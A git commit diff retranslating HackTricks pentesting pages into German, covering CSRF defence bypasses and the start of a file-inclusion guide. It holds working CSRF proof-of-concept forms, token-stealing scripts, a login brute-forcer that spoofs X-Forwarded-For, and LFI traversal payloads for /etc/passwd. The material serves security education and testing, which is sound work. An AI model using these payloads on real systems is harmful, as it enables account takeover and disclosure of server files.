Translated ['', 'src/pentesting-web/file-inclusion/README.md', 'src/pent

This commit is contained in:
Translator 2025-08-26 16:59:41 +00:00
parent eef4c31fa0
commit 2828355b04
5 changed files with 718 additions and 590 deletions

View File

@ -2,85 +2,113 @@
{{#include ../banners/hacktricks-training.md}}
## Cross-Site Request Forgery (CSRF) Erklärt
## Cross-Site Request Forgery (CSRF) Explained
**Cross-Site Request Forgery (CSRF)** ist eine Art von Sicherheitsanfälligkeit, die in Webanwendungen zu finden ist. Sie ermöglicht es Angreifern, Aktionen im Namen ahnungsloser Benutzer durch Ausnutzung ihrer authentifizierten Sitzungen durchzuführen. Der Angriff wird ausgeführt, wenn ein Benutzer, der in die Plattform eines Opfers eingeloggt ist, eine bösartige Seite besucht. Diese Seite löst dann Anfragen an das Konto des Opfers aus, indem sie Methoden wie das Ausführen von JavaScript, das Einreichen von Formularen oder das Abrufen von Bildern verwendet.
**Cross-Site Request Forgery (CSRF)** ist eine Art von Sicherheitslücke in Webanwendungen. Sie ermöglicht es Angreifern, Aktionen im Namen ahnungsloser Benutzer durchzuführen, indem sie deren authentifizierte Sitzungen ausnutzen. Der Angriff wird ausgeführt, wenn ein Benutzer, der in der Plattform des Opfers eingeloggt ist, eine bösartige Seite besucht. Diese Seite löst dann Anfragen an das Konto des Opfers aus, z. B. durch Ausführen von JavaScript, Absenden von Formularen oder Laden von Bildern.
### Voraussetzungen für einen CSRF-Angriff
Um eine CSRF-Sicherheitsanfälligkeit auszunutzen, müssen mehrere Bedingungen erfüllt sein:
Um eine CSRF-Schwachstelle auszunutzen, müssen mehrere Bedingungen erfüllt sein:
1. **Identifizieren einer wertvollen Aktion**: Der Angreifer muss eine Aktion finden, die es wert ist, ausgenutzt zu werden, wie das Ändern des Passworts, der E-Mail oder das Erhöhen von Berechtigungen.
2. **Sitzungsmanagement**: Die Sitzung des Benutzers sollte ausschließlich über Cookies oder den HTTP Basic Authentication-Header verwaltet werden, da andere Header für diesen Zweck nicht manipuliert werden können.
3. **Fehlen unvorhersehbarer Parameter**: Die Anfrage sollte keine unvorhersehbaren Parameter enthalten, da diese den Angriff verhindern können.
1. **Identify a Valuable Action**: Der Angreifer muss eine Aktion finden, die sich lohnt auszunutzen, z. B. das Ändern des Passworts, der E-Mail oder das Erhöhen von Rechten.
2. **Session Management**: Die Sitzung des Benutzers sollte ausschließlich über Cookies oder den HTTP Basic Authentication Header verwaltet werden, da andere Header für diesen Zweck nicht manipuliert werden können.
3. **Absence of Unpredictable Parameters**: Die Anfrage darf keine unvorhersehbaren Parameter enthalten, da diese den Angriff verhindern können.
### Schnelle Überprüfung
### Quick Check
Sie könnten **die Anfrage in Burp abfangen** und die CSRF-Schutzmaßnahmen überprüfen. Um dies im Browser zu testen, können Sie auf **Copy as fetch** klicken und die Anfrage überprüfen:
Sie können **die Anfrage in Burp abfangen** und die CSRF-Schutzmaßnahmen prüfen; um im Browser zu testen, können Sie auf **Copy as fetch** klicken und die Anfrage prüfen:
<figure><img src="../images/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure>
### Verteidigung gegen CSRF
### Defending Against CSRF
Mehrere Gegenmaßnahmen können implementiert werden, um sich gegen CSRF-Angriffe zu schützen:
Mehrere Gegenmaßnahmen können implementiert werden, um CSRF-Angriffe zu verhindern:
- [**SameSite-Cookies**](hacking-with-cookies/index.html#samesite): Dieses Attribut verhindert, dass der Browser Cookies zusammen mit Cross-Site-Anfragen sendet. [Mehr über SameSite-Cookies](hacking-with-cookies/index.html#samesite).
- [**Cross-Origin Resource Sharing**](cors-bypass.md): Die CORS-Richtlinie der Opferseite kann die Durchführbarkeit des Angriffs beeinflussen, insbesondere wenn der Angriff das Lesen der Antwort von der Opferseite erfordert. [Erfahren Sie mehr über CORS-Umgehung](cors-bypass.md).
- **Benutzerauthentifizierung**: Das Anfordern des Passworts des Benutzers oder das Lösen eines Captchas kann die Absicht des Benutzers bestätigen.
- **Überprüfung von Referrer- oder Origin-Headern**: Die Validierung dieser Header kann helfen sicherzustellen, dass Anfragen von vertrauenswürdigen Quellen stammen. Allerdings kann eine sorgfältige Gestaltung von URLs schlecht implementierte Überprüfungen umgehen, wie zum Beispiel:
- Verwendung von `http://mal.net?orig=http://example.com` (URL endet mit der vertrauenswürdigen URL)
- Verwendung von `http://example.com.mal.net` (URL beginnt mit der vertrauenswürdigen URL)
- **Ändern von Parameternamen**: Das Ändern der Namen von Parametern in POST- oder GET-Anfragen kann helfen, automatisierte Angriffe zu verhindern.
- **CSRF-Token**: Die Einbeziehung eines einzigartigen CSRF-Tokens in jede Sitzung und die Anforderung dieses Tokens in nachfolgenden Anfragen kann das Risiko von CSRF erheblich mindern. Die Wirksamkeit des Tokens kann durch die Durchsetzung von CORS erhöht werden.
- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): Dieses Attribut verhindert, dass der Browser Cookies zusammen mit Cross-Site-Anfragen sendet. [More about SameSite cookies](hacking-with-cookies/index.html#samesite).
- [**Cross-origin resource sharing**](cors-bypass.md): Die CORS-Policy der Zielseite kann die Durchführbarkeit des Angriffs beeinflussen, besonders wenn der Angriff das Auslesen der Antwort von der Zielseite erfordert. [Learn about CORS bypass](cors-bypass.md).
- **User Verification**: Die Abfrage des Benutzerpassworts oder das Lösen eines Captchas kann die Absicht des Benutzers bestätigen.
- **Checking Referrer or Origin Headers**: Die Validierung dieser Header kann helfen sicherzustellen, dass Anfragen von vertrauenswürdigen Quellen stammen. Allerdings können schlecht implementierte Prüfungen durch geschicktes Konstruieren von URLs umgangen werden, z. B.:
- Using `http://mal.net?orig=http://example.com` (URL ends with the trusted URL)
- Using `http://example.com.mal.net` (URL starts with the trusted URL)
- **Modifying Parameter Names**: Das Ändern der Parameternamen in POST- oder GET-Anfragen kann helfen, automatisierte Angriffe zu verhindern.
- **CSRF Tokens**: Das Einbauen eines eindeutigen CSRF-Tokens in jede Sitzung und das Erfordern dieses Tokens in nachfolgenden Anfragen kann das Risiko von CSRF erheblich verringern. Die Wirksamkeit des Tokens kann durch Durchsetzung von CORS verbessert werden.
Das Verständnis und die Implementierung dieser Verteidigungen sind entscheidend für die Aufrechterhaltung der Sicherheit und Integrität von Webanwendungen.
Das Verstehen und Implementieren dieser Schutzmaßnahmen ist entscheidend, um die Sicherheit und Integrität von Webanwendungen zu gewährleisten.
## Umgehung von Verteidigungen
## Defences Bypass
### Von POST zu GET
### From POST to GET (method-conditioned CSRF validation bypass)
Vielleicht ist das Formular, das Sie ausnutzen möchten, darauf vorbereitet, eine **POST-Anfrage mit einem CSRF-Token zu senden**, aber Sie sollten **überprüfen**, ob auch eine **GET-Anfrage** **gültig** ist und ob das **CSRF-Token weiterhin validiert wird**, wenn Sie eine GET-Anfrage senden.
Einige Anwendungen führen die CSRF-Validierung nur für POST aus und überspringen sie für andere Verben. Ein gängiges Anti-Pattern in PHP sieht z. B. so aus:
```php
public function csrf_check($fatal = true) {
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
// ... validate __csrf_token here ...
}
```
Wenn der verwundbare Endpoint auch Parameter aus $_REQUEST akzeptiert, kannst du dieselbe Aktion als GET-Anfrage erneut ausführen und den CSRF-Token vollständig weglassen. Das verwandelt eine nur per POST zugängliche Aktion in eine GET-Aktion, die ohne Token erfolgreich ist.
### Fehlendes Token
Example:
Anwendungen könnten einen Mechanismus implementieren, um **Tokens** zu **validieren**, wenn sie vorhanden sind. Eine Sicherheitsanfälligkeit entsteht jedoch, wenn die Validierung ganz übersprungen wird, wenn das Token fehlt. Angreifer können dies ausnutzen, indem sie **den Parameter entfernen**, der das Token trägt, nicht nur dessen Wert. Dies ermöglicht es ihnen, den Validierungsprozess zu umgehen und einen Cross-Site Request Forgery (CSRF)-Angriff effektiv durchzuführen.
- Original POST with token (intended):
### CSRF-Token ist nicht an die Benutzersitzung gebunden
```http
POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Anwendungen, die **CSRF-Token nicht an Benutzersitzungen binden**, stellen ein erhebliches **Sicherheitsrisiko** dar. Diese Systeme überprüfen Tokens gegen einen **globalen Pool**, anstatt sicherzustellen, dass jedes Token an die initiierende Sitzung gebunden ist.
__csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerror=alert(1)>","widgetType":"URL"}]
```
So nutzen Angreifer dies aus:
- Bypass by switching to GET (no token):
1. **Authentifizieren** Sie sich mit ihrem eigenen Konto.
2. **Erhalten Sie ein gültiges CSRF-Token** aus dem globalen Pool.
3. **Verwenden Sie dieses Token** in einem CSRF-Angriff gegen ein Opfer.
```http
GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1
```
Diese Sicherheitsanfälligkeit ermöglicht es Angreifern, unbefugte Anfragen im Namen des Opfers zu stellen und die **unzureichende Token-Validierungsmechanismus** der Anwendung auszunutzen.
Notes:
- Dieses Muster taucht häufig zusammen mit reflected XSS auf, wenn Antworten fälschlicherweise als text/html statt als application/json ausgeliefert werden.
- Die Kombination mit XSS senkt die Exploit-Hürden erheblich, da man einen einzigen GET-Link liefern kann, der sowohl den verwundbaren Codepfad auslöst als auch CSRF-Prüfungen vollständig umgeht.
### Methodenumgehung
### Lack of token
Wenn die Anfrage eine "**seltsame**" **Methode** verwendet, überprüfen Sie, ob die **Methodenüberschreibungsfunktionalität** funktioniert. Wenn beispielsweise die **PUT**-Methode verwendet wird, können Sie versuchen, die **POST**-Methode zu verwenden und **zu senden**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
Anwendungen implementieren möglicherweise einen Mechanismus, um **Tokens zu validieren**, wenn diese vorhanden sind. Es entsteht jedoch eine Schwachstelle, wenn die Validierung vollständig übersprungen wird, sobald der Token fehlt. Angreifer können dies ausnutzen, indem sie den Parameter entfernen, der den Token trägt, nicht nur dessen Wert. Dadurch können sie den Validierungsprozess umgehen und effektiv einen Cross-Site Request Forgery (CSRF) Angriff durchführen.
Dies könnte auch funktionieren, indem Sie den **\_method-Parameter innerhalb einer POST-Anfrage** senden oder die **Header** verwenden:
### CSRF token is not tied to the user session
Anwendungen, die CSRF-Tokens nicht an Benutzersitzungen binden, stellen ein erhebliches **Sicherheitsrisiko** dar. Diese Systeme überprüfen Tokens gegen einen **globalen Pool**, anstatt sicherzustellen, dass jeder Token an die auslösende Sitzung gebunden ist.
So gehen Angreifer hierbei vor:
1. Sich mit dem eigenen Account authentifizieren.
2. Einen gültigen CSRF-Token aus dem globalen Pool beschaffen.
3. Diesen Token in einem CSRF-Angriff gegen ein Opfer verwenden.
Diese Schwachstelle ermöglicht es Angreifern, unautorisierte Anfragen im Auftrag des Opfers zu stellen, indem sie den **unzureichenden Token-Validierungsmechanismus** der Anwendung ausnutzen.
### Method bypass
Wenn die Anfrage eine "**weird**" **method** verwendet, prüfe, ob die **method override functionality** funktioniert. Zum Beispiel, wenn PUT verwendet wird, kannst du versuchen, POST zu verwenden und zu senden: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
Das kann auch funktionieren, indem man das **\_method parameter inside the a POST request** sendet oder die **headers** verwendet:
- _X-HTTP-Method_
- _X-HTTP-Method-Override_
- _X-Method-Override_
### Umgehung des benutzerdefinierten Header-Tokens
### Custom header token bypass
Wenn die Anfrage einen **benutzerdefinierten Header** mit einem **Token** als **CSRF-Schutzmethode** hinzufügt, dann:
Wenn die Anfrage einen **custom header** mit einem **token** als **CSRF protection method** hinzufügt, dann:
- Testen Sie die Anfrage ohne den **benutzerdefinierten Token und auch Header.**
- Testen Sie die Anfrage mit genau **gleicher Länge, aber unterschiedlichem Token**.
- Teste die Anfrage ohne den **Customized Token and also header.**
- Teste die Anfrage mit exakt **same length but different token**.
### CSRF-Token wird durch ein Cookie verifiziert
### CSRF token is verified by a cookie
Anwendungen können CSRF-Schutz implementieren, indem sie das Token sowohl in einem Cookie als auch in einem Anfrageparameter duplizieren oder indem sie ein CSRF-Cookie setzen und überprüfen, ob das im Backend gesendete Token mit dem Cookie übereinstimmt. Die Anwendung validiert Anfragen, indem sie überprüft, ob das Token im Anfrageparameter mit dem Wert im Cookie übereinstimmt.
Anwendungen können CSRF-Schutz implementieren, indem sie den Token sowohl in einem Cookie als auch in einem Request-Parameter duplizieren, oder indem sie ein CSRF-Cookie setzen und prüfen, ob der im Backend empfangene Token mit dem Cookie übereinstimmt. Die Anwendung validiert Anfragen, indem sie überprüft, ob der Token im Request-Parameter dem Wert im Cookie entspricht.
Diese Methode ist jedoch anfällig für CSRF-Angriffe, wenn die Website Mängel aufweist, die es einem Angreifer ermöglichen, ein CSRF-Cookie im Browser des Opfers zu setzen, wie z.B. eine CRLF-Sicherheitsanfälligkeit. Der Angreifer kann dies ausnutzen, indem er ein täuschendes Bild lädt, das das Cookie setzt, gefolgt von der Einleitung des CSRF-Angriffs.
Diese Methode ist jedoch anfällig für CSRF-Angriffe, wenn die Website Schwachstellen besitzt, die es einem Angreifer erlauben, ein CSRF-Cookie im Browser des Opfers zu setzen, wie z. B. eine CRLF-Schwachstelle. Der Angreifer kann dies ausnutzen, indem er ein täuschendes Bild lädt, das das Cookie setzt, und anschließend den CSRF-Angriff startet.
Hier ist ein Beispiel, wie ein Angriff strukturiert sein könnte:
Im Folgenden ein Beispiel, wie ein solcher Angriff aufgebaut sein könnte:
```html
<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
@ -103,19 +131,19 @@ onerror="document.forms[0].submit();" />
</html>
```
> [!TIP]
> Beachten Sie, dass wenn der **csrf-Token mit dem Sitzungs-Cookie verbunden ist, dieser Angriff nicht funktioniert**, da Sie die Sitzung des Opfers setzen müssen, und daher würden Sie sich selbst angreifen.
> Beachte, dass, wenn der **csrf token in Verbindung mit dem session cookie steht, dieser Angriff nicht funktionieren wird**, da du die Session des Opfers setzen müsstest und dich damit selbst angreifst.
### Content-Type-Änderung
### Änderung des Content-Type
Laut [**dieser**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests) Quelle, um **Preflight**-Anfragen mit der **POST**-Methode zu **vermeiden**, sind die erlaubten Content-Type-Werte:
Laut [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests) sind, um **preflight**-Anfragen bei Verwendung der **POST**-Methode zu **vermeiden**, folgende Content-Type-Werte erlaubt:
- **`application/x-www-form-urlencoded`**
- **`multipart/form-data`**
- **`text/plain`**
Beachten Sie jedoch, dass die **Logik der Server variieren kann**, abhängig vom verwendeten **Content-Type**, daher sollten Sie die genannten Werte und andere wie **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
Beachte jedoch, dass die **Server-Logik variieren kann**, abhängig vom verwendeten **Content-Type**, daher solltest du die genannten Werte und andere wie **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ ausprobieren.
Beispiel (von [hier](https://brycec.me/posts/corctf_2021_challenges)) für das Senden von JSON-Daten als text/plain:
Beispiel (von [here](https://brycec.me/posts/corctf_2021_challenges)) zum Senden von JSON-Daten als text/plain:
```html
<html>
<body>
@ -134,32 +162,32 @@ form.submit()
</body>
</html>
```
### Umgehen von Preflight-Anfragen für JSON-Daten
### Preflight-Anfragen für JSON-Daten umgehen
Beim Versuch, JSON-Daten über eine POST-Anfrage zu senden, ist es nicht direkt möglich, `Content-Type: application/json` in einem HTML-Formular zu verwenden. Ebenso initiiert die Nutzung von `XMLHttpRequest`, um diesen Inhaltstyp zu senden, eine Preflight-Anfrage. Dennoch gibt es Strategien, um diese Einschränkung möglicherweise zu umgehen und zu überprüfen, ob der Server die JSON-Daten unabhängig vom Content-Type verarbeitet:
Beim Versuch, JSON-Daten über eine POST-Anfrage zu senden, ist die Verwendung von `Content-Type: application/json` in einem HTML-Formular nicht direkt möglich. Ebenso löst die Nutzung von `XMLHttpRequest` zum Senden dieses Content-Types eine Preflight-Anfrage aus. Dennoch gibt es Strategien, diese Einschränkung eventuell zu umgehen und zu prüfen, ob der Server die JSON-Daten unabhängig vom Content-Type verarbeitet:
1. **Verwenden alternativer Inhaltstypen**: Verwenden Sie `Content-Type: text/plain` oder `Content-Type: application/x-www-form-urlencoded`, indem Sie `enctype="text/plain"` im Formular festlegen. Dieser Ansatz testet, ob das Backend die Daten unabhängig vom Content-Type nutzt.
2. **Inhaltstyp ändern**: Um eine Preflight-Anfrage zu vermeiden und sicherzustellen, dass der Server den Inhalt als JSON erkennt, können Sie die Daten mit `Content-Type: text/plain; application/json` senden. Dies löst keine Preflight-Anfrage aus, könnte jedoch vom Server korrekt verarbeitet werden, wenn er so konfiguriert ist, dass er `application/json` akzeptiert.
3. **Nutzung von SWF Flash-Dateien**: Eine weniger gängige, aber machbare Methode besteht darin, eine SWF-Flash-Datei zu verwenden, um solche Einschränkungen zu umgehen. Für ein tieferes Verständnis dieser Technik siehe [diesen Beitrag](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
1. **Andere Content-Types verwenden**: Verwende `Content-Type: text/plain` oder `Content-Type: application/x-www-form-urlencoded`, indem du `enctype="text/plain"` im Formular setzt. Dieser Ansatz testet, ob das Backend die Daten unabhängig vom Content-Type nutzt.
2. **Content-Type ändern**: Um eine Preflight-Anfrage zu vermeiden und gleichzeitig sicherzustellen, dass der Server den Inhalt als JSON erkennt, kannst du die Daten mit `Content-Type: text/plain; application/json` senden. Das löst keine Preflight-Anfrage aus, kann aber vom Server korrekt verarbeitet werden, wenn er so konfiguriert ist, `application/json` zu akzeptieren.
3. **SWF/Flash-Datei nutzen**: Eine weniger verbreitete, aber mögliche Methode besteht darin, eine SWF-/Flash-Datei zu verwenden, um solche Beschränkungen zu umgehen. Für ein tieferes Verständnis dieser Technik siehe [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
### Umgehung der Überprüfungen von Referrer / Origin
### Referrer / Origin-Prüfung umgehen
**Vermeiden Sie den Referrer-Header**
**Referer-Header vermeiden**
Anwendungen können den 'Referer'-Header nur validieren, wenn er vorhanden ist. Um zu verhindern, dass ein Browser diesen Header sendet, kann der folgende HTML-Meta-Tag verwendet werden:
Anwendungen prüfen den 'Referer'-Header möglicherweise nur, wenn er vorhanden ist. Um zu verhindern, dass ein Browser diesen Header sendet, kann das folgende HTML-meta-Tag verwendet werden:
```xml
<meta name="referrer" content="never">
```
Dies stellt sicher, dass der 'Referer'-Header weggelassen wird, was möglicherweise Validierungsprüfungen in einigen Anwendungen umgeht.
Dies stellt sicher, dass der 'Referer'-Header weggelassen wird, wodurch möglicherweise Validierungsprüfungen in einigen Anwendungen umgangen werden.
**Regexp-Umgehungen**
**Regexp bypasses**
{{#ref}}
ssrf-server-side-request-forgery/url-format-bypass.md
{{#endref}}
Um den Domainnamen des Servers in der URL festzulegen, die der Referrer innerhalb der Parameter senden wird, können Sie Folgendes tun:
Um den Domainnamen des Servers in der URL festzulegen, den der Referrer in den Parametern senden wird, können Sie Folgendes tun:
```html
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
@ -188,25 +216,25 @@ document.forms[0].submit()
</body>
</html>
```
### **HEAD-Methode umgehen**
### **HEAD method bypass**
Im ersten Teil von [**diesem CTF-Bericht**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) wird erklärt, dass [Oaks Quellcode](https://github.com/oakserver/oak/blob/main/router.ts#L281) einen Router festlegt, der **HEAD-Anfragen als GET-Anfragen** ohne Antwortkörper behandelt - ein gängiger Workaround, der nicht einzigartig für Oak ist. Anstelle eines spezifischen Handlers, der sich mit HEAD-Anfragen befasst, werden sie einfach **dem GET-Handler übergeben, aber die App entfernt einfach den Antwortkörper**.
Der erste Teil von [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) erklärt, dass [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281), ein Router so konfiguriert ist, **HEAD requests als GET requests behandelt** werden ohne response body ein gängiger Workaround, der nicht auf Oak beschränkt ist. Anstatt eines spezifischen Handlers, der HEAD reqs behandelt, werden diese einfach **dem GET handler übergeben, aber die App entfernt einfach den response body**.
Daher, wenn eine GET-Anfrage eingeschränkt wird, könntest du einfach **eine HEAD-Anfrage senden, die als GET-Anfrage verarbeitet wird**.
Daher, wenn ein GET request eingeschränkt wird, könntest du einfach **einen HEAD request senden, der als GET request verarbeitet wird**.
## **Exploit-Beispiele**
## **Exploit Examples**
### **Exfiltrieren des CSRF-Tokens**
### **Exfiltrating CSRF Token**
Wenn ein **CSRF-Token** als **Schutz** verwendet wird, könntest du versuchen, es zu **exfiltrieren**, indem du eine [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens)-Schwachstelle oder eine [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html)-Schwachstelle ausnutzt.
Wenn ein **CSRF token** als **defence** verwendet wird, könntest du versuchen, ihn zu **exfiltrieren**, indem du eine [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) vulnerability oder eine [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html) vulnerability ausnutzt.
### **GET mit HTML-Tags**
### **GET using HTML tags**
```xml
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available
```
Andere HTML5-Tags, die verwendet werden können, um automatisch eine GET-Anfrage zu senden, sind:
Weitere HTML5-Tags, die verwendet werden können, um automatisch eine GET request zu senden, sind:
```html
<iframe src="..."></iframe>
<script src="..."></script>
@ -235,7 +263,7 @@ background: url("...");
</video>
</audio>
```
### Form GET-Anfrage
### Formular-GET-Anfrage
```html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
@ -253,7 +281,7 @@ document.forms[0].submit()
</body>
</html>
```
### Form POST-Anfrage
### Formular-POST-Anfrage
```html
<html>
<body>
@ -281,7 +309,7 @@ document.forms[0].submit() //Way 3 to autosubmit
</body>
</html>
```
### Form POST-Anfrage über iframe
### Formular-POST-Anfrage durch iframe
```html
<!--
The request is sent through the iframe withuot reloading the page
@ -304,7 +332,7 @@ document.forms[0].submit()
</body>
</html>
```
### **Ajax POST-Anfrage**
### **Ajax POST request**
```html
<script>
var xh
@ -374,7 +402,7 @@ body += "--" + boundary + "--"
//xhr.send(body);
xhr.sendAsBinary(body)
```
### Form POST-Anfrage aus einem iframe heraus
### Form POST request aus einem iframe
```html
<--! expl.html -->
@ -398,7 +426,7 @@ document.getElementById("formulario").submit()
</body>
</body>
```
### **CSRF-Token stehlen und eine POST-Anfrage senden**
### **CSRF Token stehlen und eine POST request senden**
```javascript
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest()
@ -445,7 +473,7 @@ var GET_URL = "http://google.com?param=VALUE"
var POST_URL = "http://google.com?param=VALUE"
getTokenJS()
```
### **CSRF-Token stehlen und eine Post-Anfrage mit einem iframe, einem Formular und Ajax senden**
### **CSRF Token stehlen und eine Post request mittels iframe, form und Ajax senden**
```html
<form
id="form1"
@ -473,7 +501,7 @@ style="display:none"
src="http://google.com?param=VALUE"
onload="javascript:f1();"></iframe>
```
### **CSRF-Token stehlen und eine POST-Anfrage mit einem iframe und einem Formular senden**
### **CSRF Token stehlen und eine POST-Anfrage mit einem iframe und einem form senden**
```html
<iframe
id="iframe"
@ -506,7 +534,7 @@ document.forms[0].submit.click()
}
</script>
```
### **Token stehlen und mit 2 iframes senden**
### **Token stehlen und es mit 2 iframes senden**
```html
<script>
var token;
@ -536,7 +564,7 @@ height="600" width="800"></iframe>
<button type="submit">Submit</button>
</form>
```
### **POSTSteal CSRF-Token mit Ajax und ein Post mit einem Formular senden**
### **POSTSteal CSRF token mit Ajax und einen POST mit einem Formular senden**
```html
<body onload="getData()">
<form
@ -589,7 +617,7 @@ room: username,
```
## CSRF Login Brute Force
Der Code kann verwendet werden, um ein Login-Formular mit einem CSRF-Token zu brute-forcen (er verwendet auch den Header X-Forwarded-For, um zu versuchen, eine mögliche IP-Blacklist zu umgehen):
Der Code kann verwendet werden, um ein Login-Formular unter Verwendung eines CSRF token per Brut Force anzugreifen (er nutzt außerdem den Header X-Forwarded-For, um zu versuchen, ein mögliches IP blacklisting zu umgehen):
```python
import request
import re
@ -633,18 +661,17 @@ with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())
```
## Tools <a href="#tools" id="tools"></a>
## Werkzeuge <a href="#tools" id="tools"></a>
- [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)
- [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator)
## References
## Referenzen
- [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf)
- [https://portswigger.net/web-security/csrf/bypassing-token-validation](https://portswigger.net/web-security/csrf/bypassing-token-validation)
- [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses)
- [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
{{#include ../banners/hacktricks-training.md}}

View File

@ -4,58 +4,58 @@
## File Inclusion
**Remote File Inclusion (RFI):** Die Datei wird von einem Remote-Server geladen (Am besten: Sie können den Code schreiben und der Server wird ihn ausführen). In PHP ist dies **standardmäßig deaktiviert** (**allow_url_include**).\
**Local File Inclusion (LFI):** Der Server lädt eine lokale Datei.
**Remote File Inclusion (RFI):** Die Datei wird von einem remote server geladen (Am besten: du kannst den code schreiben und der server wird ihn ausführen). In php ist dies standardmäßig **deaktiviert** (**allow_url_include**).\
**Local File Inclusion (LFI):** Der server lädt eine lokale Datei.
Die Schwachstelle tritt auf, wenn der Benutzer in irgendeiner Weise die Datei kontrollieren kann, die vom Server geladen werden soll.
Die Verwundbarkeit tritt auf, wenn der user auf irgendeine Weise die Datei kontrollieren kann, die vom server geladen werden soll.
Anfällige **PHP-Funktionen**: require, require_once, include, include_once
Ein interessantes Tool, um diese Schwachstelle auszunutzen: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
Ein nützliches Tool, um diese Verwundbarkeit auszunutzen: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Blind - Interessant - LFI2RCE Dateien
## Blind - Interesting - LFI2RCE Dateien
```python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
```
### **Linux**
**Durch das Mischen mehrerer \*nix LFI-Listen und das Hinzufügen weiterer Pfade habe ich diese erstellt:**
Durch das Zusammenführen mehrerer *nix LFI-Listen und dem Hinzufügen weiterer Pfade habe ich diese erstellt:
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
{{#endref}}
Versuche auch, `/` durch `\` zu ersetzen\
Versuche auch, `/` durch `\` zu ersetzen
Versuche auch, `../../../../../` hinzuzufügen
Eine Liste, die mehrere Techniken verwendet, um die Datei /etc/password zu finden (um zu überprüfen, ob die Schwachstelle existiert), ist [hier](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) zu finden.
Eine Liste, die verschiedene Techniken verwendet, um die Datei /etc/password zu finden (um zu prüfen, ob die Schwachstelle existiert), finden Sie [hier](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
### **Windows**
Zusammenführung verschiedener Wortlisten:
Zusammenführung verschiedener Wordlists:
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
{{#endref}}
Versuche auch, `/` durch `\` zu ersetzen\
Versuche auch, `C:/` zu entfernen und `../../../../../` hinzuzufügen
Versuche auch, `/` durch `\` zu ersetzen
Versuche außerdem, `C:/` zu entfernen und `../../../../../` hinzuzufügen
Eine Liste, die mehrere Techniken verwendet, um die Datei /boot.ini zu finden (um zu überprüfen, ob die Schwachstelle existiert), ist [hier](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) zu finden.
Eine Liste, die verschiedene Techniken verwendet, um die Datei /boot.ini zu finden (um zu prüfen, ob die Schwachstelle existiert), finden Sie [hier](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
### **OS X**
Überprüfe die LFI-Liste von Linux.
Siehe die LFI-Liste für Linux.
## Grundlegende LFI und Umgehungen
## Basic LFI and bypasses
Alle Beispiele sind für Local File Inclusion, können aber auch für Remote File Inclusion angewendet werden (Seite=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt>/)).
Alle Beispiele sind für Local File Inclusion, können aber auch auf Remote File Inclusion angewendet werden (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
```
http://example.com/index.php?page=../../../etc/passwd
```
### Traversal-Sequenzen nicht rekursiv entfernt
### traversal-Sequenzen nicht rekursiv entfernt
```python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
@ -63,59 +63,59 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Null byte (%00)**
Umgehen Sie das Anhängen weiterer Zeichen am Ende der bereitgestellten Zeichenfolge (Umgehung von: $\_GET\['param']."php")
Bypass das Anhängen weiterer Zeichen am Ende des übergebenen Strings (bypass of: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
Das ist **seit PHP 5.4 gelöst**
